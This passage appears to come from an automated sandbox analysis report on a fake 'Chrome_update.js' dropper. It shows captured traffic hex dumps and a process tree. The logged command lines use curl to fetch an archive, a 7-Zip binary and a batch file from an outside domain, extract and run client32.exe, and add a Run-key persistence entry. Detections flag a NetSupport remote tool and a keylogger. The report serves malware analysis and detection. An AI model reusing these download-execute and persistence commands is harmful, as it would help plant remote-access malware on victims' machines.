2023-08-02 08:13:04 UTC	2687	IN	Data Raw: 0f 83 e6 f0 eb 03 6a 10 5e 89 75 0c 89 7d dc 83 fe e0 0f 87 f3 00 00 00 6a 09 e8 59 1a 00 00 59 c7 45 fc 01 00 00 00 8d 45 d4 50 8d 45 c8 50 53 e8 3f 2d 00 00 83 c4 0c 8b f8 89 7d d0 85 ff 0f 84 aa 00 00 00 3b 35 5c 01 49 00 73 5c 8b de c1 eb 04 53 57 ff 75 d4 ff 75 c8 e8 dd 30 00 00 83 c4 10 85 c0 74 08 8b 45 08 89 45 dc eb 38 53 e8 9c 2d 00 00 59 89 45 dc 85 c0 74 2a 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 ff 75 08 ff 75 dc e8 37 fa ff ff 57 ff 75 d4 ff 75 c8 e8 28 2d 00 00 83 c4 18 8b 5d 08 83 7d dc 00 75 53 56 6a 00 ff 35 80 65 49 00 ff 15 8c a1 47 00 89 45 dc 85 c0 74 3d 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 53 ff 75 dc e8 f0 f9 ff ff 57 ff 75 d4 ff 75 c8 e8 e1 2c 00 00 83 c4 18 eb 13 56 53 6a 00 ff 35 80 65 49 00 ff 15 94 a1 47 00 Data Ascii: j^u}jYYEEPEPS?-};5\Is\SWuu0tEE8S-YEt*E;rPuu7Wuu(-]}uSVj5eIGEt=E;rPSuWuu,VSj5eIG
2023-08-02 08:13:04 UTC	2703	IN	Data Raw: d5 8b f0 3b f3 74 0c c7 05 40 38 49 00 01 00 00 00 eb 28 ff 15 f0 a1 47 00 8b f8 3b fb 0f 84 ea 00 00 00 c7 05 40 38 49 00 02 00 00 00 e9 8f 00 00 00 83 f8 01 0f 85 81 00 00 00 3b f3 75 0c ff d5 8b f0 3b f3 0f 84 c2 00 00 00 66 39 1e 8b c6 74 0e 40 40 66 39 18 75 f9 40 40 66 39 18 75 f2 2b c6 8b 3d 44 a0 47 00 d1 f8 53 53 40 53 53 50 56 53 53 89 44 24 34 ff d7 8b e8 3b eb 74 32 55 e8 4e b4 ff ff 3b c3 59 89 44 24 10 74 23 53 53 55 50 ff 74 24 24 56 53 53 ff d7 85 c0 75 0e ff 74 24 10 e8 65 b5 ff ff 59 89 5c 24 10 8b 5c 24 10 56 ff 15 ec a1 47 00 8b c3 eb 53 83 f8 02 75 4c 3b fb 75 0c ff 15 f0 a1 47 00 8b f8 3b fb 74 3c 38 1f 8b c7 74 0a 40 38 18 75 fb 40 38 18 75 f6 2b c7 40 8b e8 55 e8 e7 b3 ff ff 8b f0 59 3b f3 75 04 33 f6 eb 0b 55 57 56 e8 cf b9 ff ff Data Ascii: ;t@8I(G;@8I;u;f9t@@f9u@@f9u+=DGSS@SSPVSSD$4;t2UN;YD$t#SSUPt$$VSSut$eY\$\$VGSuL;uG;t<8t@8u@8u+@UY;u3UWV
2023-08-02 08:13:04 UTC	2719	IN	Data Raw: f8 ff 8d 4d cc e9 91 cd f8 ff 8d 4d d8 e9 89 cd f8 ff 8d 4d c0 e9 81 cd f8 ff 8d 4d d8 e9 79 cd f8 ff 8d 4d c0 e9 71 cd f8 ff 8d 4d 94 e9 e7 39 fb ff 8d 4d 94 e9 df 39 fb ff 8d 4d bc e9 32 d9 f8 ff 8d 4d 94 e9 cf 39 fb ff b8 28 01 48 00 e9 02 6a ff ff cc cc 8d 4d e8 e9 3d cd f8 ff 8d 4d d0 e9 35 cd f8 ff 8d 4d dc e9 2d cd f8 ff b8 a8 01 48 00 e9 de 69 ff ff cc cc 8d 4d e0 e9 19 cd f8 ff b8 e0 01 48 00 e9 ca 69 ff ff cc cc 8d 4d e8 e9 05 cd f8 ff b8 08 02 48 00 e9 b6 69 ff ff cc cc 8d 4d e8 e9 f1 cc f8 ff b8 30 02 48 00 e9 a2 69 ff ff cc cc 8d 4d e0 e9 dd cc f8 ff b8 58 02 48 00 e9 8e 69 ff ff cc cc 8d 4d e0 e9 c9 cc f8 ff b8 80 02 48 00 e9 7a 69 ff ff cc cc 8d 4d e4 e9 b5 cc f8 ff 8d 4d cc e9 ad cc f8 ff 8d 4d d8 e9 a5 cc f8 ff b8 a8 02 48 00 e9 56 69 ff Data Ascii: MMMMyMqM9M9M2M9(HjM=M5M-HiMHiMHiM0HiMXHiMHziMMMHVi
2023-08-02 08:13:04 UTC	2735	IN	Data Raw: e9 96 8d f8 ff 8d 8d 34 ff ff ff e9 8b 8d f8 ff 8d 8d 1c ff ff ff e9 80 8d f8 ff 8d 8d 04 ff ff ff e9 75 8d f8 ff 8d 8d ec fe ff ff e9 6a 8d f8 ff b8 c8 66 48 00 e9 1b 2a ff ff cc cc cc 8b 4d f0 e9 d3 f9 fa ff b8 90 67 48 00 e9 06 2a ff ff cc cc ff 75 f0 e8 cc ee f8 ff 59 c3 b8 b8 67 48 00 e9 f0 29 ff ff 8d 4d d4 e9 f7 61 fc ff b8 e0 67 48 00 e9 de 29 ff ff cc cc b8 08 68 48 00 e9 d2 29 ff ff cc cc 8d 4d e0 e9 73 45 fc ff b8 98 68 48 00 e9 be 29 ff ff cc cc 8d 8d 58 ff ff ff e9 58 40 fc ff b8 c0 68 48 00 e9 a7 29 ff ff cc cc cc b8 20 69 48 00 e9 9a 29 ff ff cc cc 8d 4d d0 e9 9f 61 fc ff b8 78 69 48 00 e9 86 29 ff ff cc cc 8d 8d 58 ff ff ff e9 20 40 fc ff b8 a0 69 48 00 e9 6f 29 ff ff cc cc cc 8d 8d c4 fe ff ff e9 08 40 fc ff 8d 8d 5c ff ff ff e9 fd 3f fc Data Ascii: 4ujfHMgHuYgH)MagH)hH)MsEhH)XX@hH) iH)MaxiH)X @iHo)@\?
2023-08-02 08:13:04 UTC	2751	IN	Data Raw: 6f 70 75 70 00 00 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 00 4d 65 73 73 61 67 65 42 6f 78 41 00 75 73 65 72 33 32 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 36 22 47 00 3a 22 47 00 ff ff ff ff ea 22 47 00 ee 22 47 00 ff ff ff ff 6e 24 47 00 72 24 47 00 48 3a 6d 6d 3a 73 73 00 64 64 64 64 2c 20 4d 4d 4d 4d 20 64 64 2c 20 79 79 79 79 00 4d 2f 64 2f 79 79 00 00 50 4d 00 00 41 4d 00 00 44 65 63 65 6d 62 65 72 00 00 00 00 4e 6f 76 65 6d 62 65 72 00 00 00 00 4f 63 74 6f 62 65 72 00 53 65 70 74 65 6d 62 65 72 00 00 00 41 75 67 75 73 74 00 00 4a 75 6c 79 00 00 00 00 4a 75 6e 65 00 00 00 00 41 70 72 69 6c 00 00 00 4d 61 72 63 68 00 00 00 46 65 62 72 75 61 72 79 00 00 00 00 4a 61 6e 75 61 72 79 00 44 65 63 00 4e 6f 76 00 4f 63 74 00 53 65 70 00 41 Data Ascii: opupGetActiveWindowMessageBoxAuser32.dll6"G:"G"G"Gn$Gr$GH:mm:ssdddd, MMMM dd, yyyyM/d/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepA
2023-08-02 08:13:04 UTC	2767	IN	Data Raw: 00 00 3a 53 47 00 06 00 00 00 44 53 47 00 0b 00 00 00 4c 53 47 00 0b 00 00 00 54 53 47 00 06 00 00 00 5c 53 47 00 06 00 00 00 66 53 47 00 0f 00 00 00 6e 53 47 00 10 00 00 00 76 53 47 00 06 00 00 00 7e 53 47 00 06 00 00 00 88 53 47 00 13 00 00 00 90 53 47 00 14 00 00 00 98 53 47 00 14 00 00 00 a2 53 47 00 20 05 93 19 02 00 00 00 78 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b4 53 47 00 00 00 00 00 bf 53 47 00 20 05 93 19 02 00 00 00 a8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff d4 53 47 00 ff ff ff ff df 53 47 00 20 05 93 19 01 00 00 00 d8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f4 53 47 00 20 05 93 19 01 00 00 00 00 0e 48 00 00 00 00 00 00 Data Ascii: :SGDSGLSGTSG\SGfSGnSGvSG~SGSGSGSGSG xHSGSG HSGSG HSG H
2023-08-02 08:13:04 UTC	2783	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 9c 7a 47 00 20 05 93 19 06 00 00 00 28 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b0 7a 47 00 00 00 00 00 b8 7a 47 00 01 00 00 00 c3 7a 47 00 02 00 00 00 ce 7a 47 00 03 00 00 00 d9 7a 47 00 04 00 00 00 e4 7a 47 00 20 05 93 19 02 00 00 00 78 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f8 7a 47 00 00 00 00 00 03 7b 47 00 20 05 93 19 01 00 00 00 a8 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 18 7b 47 00 20 05 93 19 04 00 00 00 d0 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 30 7b 47 00 00 00 00 00 38 7b 47 00 01 00 00 00 43 7b 47 00 02 00 00 00 4e 7b 47 00 20 Data Ascii: zG (MHzGzGzGzGzGzG xMHzG{G MH{G MH0{G8{GC{GN{G
2023-08-02 08:13:04 UTC	2799	IN	Data Raw: 6d 70 61 72 65 46 69 6c 65 54 69 6d 65 00 bc 00 46 69 6c 65 54 69 6d 65 54 6f 53 79 73 74 65 6d 54 69 6d 65 00 00 bb 01 47 65 74 53 79 73 74 65 6d 49 6e 66 6f 00 fa 01 47 6c 6f 62 61 6c 4d 65 6d 6f 72 79 53 74 61 74 75 73 00 00 77 01 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 00 00 88 00 44 6f 73 44 61 74 65 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 ba 00 46 69 6c 65 54 69 6d 65 54 6f 44 6f 73 44 61 74 65 54 69 6d 65 00 4e 03 53 79 73 74 65 6d 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 00 be 01 47 65 74 53 79 73 74 65 6d 54 69 6d 65 00 83 03 57 61 69 74 46 6f 72 4d 75 6c 74 69 70 6c 65 4f 62 6a 65 63 74 73 00 00 73 02 4f 70 65 6e 45 76 65 6e 74 41 00 00 65 03 55 6e 6d 61 70 56 69 65 77 4f 66 46 69 6c 65 00 5e 02 4d 61 70 56 69 65 77 4f 66 46 69 Data Ascii: mpareFileTimeFileTimeToSystemTimeGetSystemInfoGlobalMemoryStatuswGetModuleHandleADosDateTimeToFileTimeFileTimeToDosDateTimeNSystemTimeToFileTimeGetSystemTimeWaitForMultipleObjectssOpenEventAeUnmapViewOfFile^MapViewOfFi
2023-08-02 08:13:04 UTC	2815	IN	Data Raw: 00 00 00 00 00 00 42 00 43 00 4a 00 32 00 00 00 00 00 00 00 00 00 e0 58 44 00 60 59 44 00 03 01 03 03 00 00 00 00 28 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 42 00 43 00 4a 00 00 00 90 5b 44 00 c0 5b 44 00 05 02 03 03 00 00 00 00 fc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 e0 5b 44 00 00 5c 44 00 01 04 03 03 00 00 00 00 f0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 20 5c 44 00 40 5c 44 00 01 05 03 03 00 00 00 00 e8 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 60 5c 44 00 80 5c 44 00 01 07 03 03 00 00 00 00 dc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 a0 5c 44 00 c0 5c 44 00 05 08 03 03 00 00 00 00 d0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 53 00 50 00 41 00 52 00 43 00 00 00 41 00 52 00 4d 00 54 00 00 00 00 00 41 00 52 00 4d 00 00 00 49 Data Ascii: BCJ2XD`YD(HBCJ[D[DH[D\DH \D@\DH`\D\DH\D\DHSPARCARMTARMI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49701	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-02 08:13:05 UTC	2830	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat HTTP/1.1 Host: mangoairsoft.com User-Agent: curl/7.55.1 Accept: /
2023-08-02 08:13:05 UTC	2830	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:13:05 GMT Content-Type: application/x-msdos-program Content-Length: 532 Connection: close Last-Modified: Thu, 27 Jul 2023 14:27:39 GMT ETag: "214-60178c42f5f39" Accept-Ranges: bytes
2023-08-02 08:13:05 UTC	2830	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 0d 0a 3a 3a 20 73 73 52 73 67 73 33 73 67 73 62 67 73 67 67 73 67 73 33 67 73 67 73 33 73 33 5a 36 0d 0a 3a 3a 20 73 73 52 62 5a 67 73 36 67 73 67 73 33 32 36 66 73 73 52 62 0d 0a 0d 0a 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 78 63 6f 70 79 20 2f 68 20 2f 79 20 37 7a 7a 2e 65 78 65 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 63 6d 64 20 2f 63 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 37 7a 7a 2e 65 78 65 20 78 20 2d 79 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 6c 6f 6c 6f 2e 37 7a 20 20 2d 6f 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 54 49 4d 45 4f 55 54 20 2f 54 20 37 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 63 6d 64 20 2f Data Ascii: @echo off:: ssRsgs3sgsbgsggsgs3gsgs3s3Z6:: ssRbZgs6gsgs326fssRbstart /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\ && TIMEOUT /T 7 && start /b /min cmd /

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exePID: 4604, Parent PID: 3452

General

Target ID:	0
Start time:	10:12:59
Start date:	02/08/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Chrome_update.js"
Imagebase:	0x7ff774540000
File size:	163'840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exePID: 5728, Parent PID: 4604

General

Target ID:	1
Start time:	10:13:01
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c C://ProgramData//xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat
Imagebase:	0x7ff707bb0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 5988, Parent PID: 5728

General

Target ID:	2
Start time:	10:13:01
Start date:	02/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exePID: 6876, Parent PID: 5728

General

Target ID:	3
Start time:	10:13:01
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\sett.bat"
Imagebase:	0x7ff707bb0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: curl.exePID: 7184, Parent PID: 6876

General

Target ID:	4
Start time:	10:13:01
Start date:	02/08/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"
Imagebase:	0x7ff741190000
File size:	424'448 bytes
MD5 hash:	BDEBD2FC4927DA00EEA263AF9CF8F7ED
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exePID: 7224, Parent PID: 5728

General

Target ID:	5
Start time:	10:13:02
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\7z.bat"
Imagebase:	0x7ff707bb0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: curl.exePID: 7240, Parent PID: 7224

General

Target ID:	6
Start time:	10:13:03
Start date:	02/08/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
Imagebase:	0x7ff741190000
File size:	424'448 bytes
MD5 hash:	BDEBD2FC4927DA00EEA263AF9CF8F7ED
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 7276, Parent PID: 5728

General

Target ID:	7
Start time:	10:13:04
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\qweq.bat"
Imagebase:	0x7ff707bb0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: curl.exePID: 7292, Parent PID: 7276

General

Target ID:	8
Start time:	10:13:04
Start date:	02/08/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"
Imagebase:	0x7ff741190000
File size:	424'448 bytes
MD5 hash:	BDEBD2FC4927DA00EEA263AF9CF8F7ED
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 7328, Parent PID: 7276

General

Target ID:	9
Start time:	10:13:05
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Imagebase:	0x7ff686a60000
File size:	72'704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 7344, Parent PID: 7276

General

Target ID:	10
Start time:	10:13:05
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Imagebase:	0x7ff686a60000
File size:	72'704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 7360, Parent PID: 5728

General

Target ID:	11
Start time:	10:13:05
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\qweq.bat"
Imagebase:	0x7ff707bb0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Analysis Process: xcopy.exePID: 7376, Parent PID: 7360

General

Target ID:	12
Start time:	10:13:05
Start date:	02/08/2023
Path:	C:\Windows\System32\xcopy.exe
Wow64 process (32bit):	false
Commandline:	xcopy /h /y 7zz.exe C:\ProgramData\
Imagebase:	0x7ff746ee0000
File size:	47'616 bytes
MD5 hash:	6BC7DB1465BEB7607CBCBD7F64007219
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 7384, Parent PID: 7360

General

Target ID:	13
Start time:	10:13:05
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Imagebase:	0x7ff707bb0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: timeout.exePID: 7404, Parent PID: 7360

General

Target ID:	14
Start time:	10:13:05
Start date:	02/08/2023
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	TIMEOUT /T 7
Imagebase:	0x7ff7a54a0000
File size:	30'720 bytes
MD5 hash:	EB9A65078396FB5D4E3813BB9198CB18
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 7zz.exePID: 7416, Parent PID: 7384

General

Target ID:	15
Start time:	10:13:05
Start date:	02/08/2023
Path:	C:\ProgramData\7zz.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Imagebase:	0x400000
File size:	587'776 bytes
MD5 hash:	42BADC1D2F03A8B1E4875740D3D49336
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs

Chronological Activities

Analysis Process: cmd.exePID: 7472, Parent PID: 7360

General

Target ID:	16
Start time:	10:13:12
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c C:\ProgramData\client32.exe
Imagebase:	0x7ff707bb0000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 7484, Parent PID: 7360

General

Target ID:	17
Start time:	10:13:12
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Imagebase:	0x7ff686a60000
File size:	72'704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: client32.exePID: 7492, Parent PID: 7472

General

Target ID:	18
Start time:	10:13:12
Start date:	02/08/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\client32.exe
Imagebase:	0x240000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000000.412323829.0000000000242000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000003.427318962.000000000176A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000003.427594284.000000000177D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000003.427449828.0000000001775000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000003.416840178.0000000001746000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000002.909682872.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000003.425047789.0000000001773000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000002.909682872.000000000368F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000003.425987309.000000000177D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000003.427734474.000000000177E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000002.908996646.0000000000242000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000012.00000002.910282080.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 12%, ReversingLabs

Chronological Activities

Analysis Process: reg.exePID: 7520, Parent PID: 7360

General

Target ID:	19
Start time:	10:13:12
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Imagebase:	0x7ff686a60000
File size:	72'704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: client32.exePID: 7756, Parent PID: 3452

General

Target ID:	22
Start time:	10:13:17
Start date:	02/08/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\client32.exe"
Imagebase:	0x240000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000016.00000000.422585453.0000000000242000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000016.00000002.424736480.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: 